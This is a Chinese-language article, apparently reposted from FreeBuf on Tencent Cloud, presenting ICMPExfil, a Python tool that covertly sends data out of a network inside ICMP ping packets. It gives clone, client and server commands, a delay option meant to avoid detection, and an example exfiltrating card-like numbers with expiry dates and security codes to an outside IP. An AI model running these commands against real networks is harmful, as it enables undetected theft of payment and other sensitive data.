前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ICMPExfil:一款基于ICMP的数据提取和过滤工具

ICMPExfil:一款基于ICMP的数据提取和过滤工具

作者头像
FB客服
发布2023-02-28 15:10:01
3500
发布2023-02-28 15:10:01
举报
文章被收录于专栏:FreeBufFreeBuf

 关于ICMPExfil 

ICMPExfil是一款基于ICMP的数据提取和过滤工具,该工具可以帮助广大研究人员通过有效的ICMP数据包传输数据。我们可以使用客户端脚本来传递希望过滤的数据,然后再通过目标设备将数据传递到运行的服务器上。无论你是经验丰富的安全专家,还是功能强大的安全系统,都只能查看到有效的ICMP数据包,数据包的数据结构没有任何的安全问题,我们的数据也不会隐藏在ICMP数据包中,因此通过审查数据包并不能够查看到我们所要提取或过滤的数据。

 工具下载 

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3环境。

接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/martinoj2009/ICMPExfil.git
代码语言:javascript
复制

(向右滑动,查看更多)

 工具使用 

ASCII

该工具支持ASCII自负,我们可以过滤和提取任何使用ASCII自负表示的内容,例如字母和数字等。比如说,你使用了一个16位数字,那么你可以使用客户端脚本通过下列形式来将这16个数字传递给服务器:

代码语言:javascript
复制
./ping.py --ascii "4111111111111111"

发送给服务器

我们在设置服务器时,有两种选项,即--ip选项,或使用脚本中的ipToPing选项来设置默认IP。

等待时间

如果你想提升任务操作的隐蔽性,你还可以使用--wait参数来指定等待的时间。如果你有足够的耐心,你可以将这个时间设置得比较长,这样就更加难以被发现了。

Verbose模式

如果你想要查看详细的工具运行信息,可以使用--show选项。

服务器开启/关闭

我们只需要运行下列命令即可启动服务器:

代码语言:javascript
复制
sudo python3 server.py

服务器运行之后,它需要根据接收数据的来源来映射输入。

当你完成任务之后,直接按下Ctrl + C组合键即可终止工具运行。

 工具使用样例 

我已提前将一些16位数字存储到了一个名为file的文件中,接下来执行下列命令:

代码语言:javascript
复制
./ping.py --ip 1.2.3.4 --asciiFile file
代码语言:javascript
复制

file文件的内容如下:

代码语言:javascript
复制
4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
代码语言:javascript
复制

(向右滑动,查看更多)

编码后的数据如下:

代码语言:javascript
复制
['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']

(向右滑动,查看更多)

服务器端计算偏移量:

代码语言:javascript
复制
Calculating offsets4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2   0 1 / 1 5   4 5 6   M a r t i n o   J o n e s   |   4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2   0 3 / 1 6   2 3 6   M a r t i n o   J o e

(向右滑动,查看更多)

代码语言:javascript
复制

 工具运行截图 

 许可证协议 

本项目的开发与发布遵循MIT开源许可证协议。

 项目地址 

ICMPExfil

https://github.com/martinoj2009/ICMPExfil

参考资料:

https://martinojones.com/

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-02-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  •  关于ICMPExfil 
  •  工具下载 
  • (向右滑动,查看更多)
  •  工具使用 
    • ASCII
      • 发送给服务器
        • 等待时间
          • Verbose模式
            • 服务器开启/关闭
            •  工具使用样例 
            • (向右滑动,查看更多)
            • (向右滑动,查看更多)
            • (向右滑动,查看更多)
            •  工具运行截图 
            •  许可证协议 
            •  项目地址 
            • 参考资料:
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档